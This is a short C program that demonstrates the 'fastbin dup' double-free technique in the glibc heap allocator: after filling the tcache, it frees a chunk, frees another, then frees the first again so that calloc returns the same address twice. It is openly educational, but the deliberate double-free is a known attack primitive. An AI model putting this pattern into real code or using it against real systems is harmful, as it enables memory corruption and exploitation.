Fastbin Dup

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    setbuf(stdout, NULL);

    printf("This file demonstrates a simple double-free attack with fastbins.\n");

    printf("Fill up tcache first.\n");
    void *ptrs[8];
    for (int i=0; i<8; i++) {
        ptrs[i] = malloc(8);
    }
    for (int i=0; i<7; i++) {
        free(ptrs[i]);
    }

    printf("Allocating 3 buffers.\n");
    int *a = calloc(1, 8);
    int *b = calloc(1, 8);
    int *c = calloc(1, 8);

    printf("1st calloc(1, 8): %p\n", a);
    printf("2nd calloc(1, 8): %p\n", b);
    printf("3rd calloc(1, 8): %p\n", c);

    printf("Freeing the first one...\n");
    free(a);

    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);  // This would crash!

    printf("So, instead, we'll free %p.\n", b);
    free(b);

    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    a = calloc(1, 8);
    b = calloc(1, 8);
    c = calloc(1, 8);
    printf("1st calloc(1, 8): %p\n", a);
    printf("2nd calloc(1, 8): %p\n", b);
    printf("3rd calloc(1, 8): %p\n", c);

    assert(a == c);
}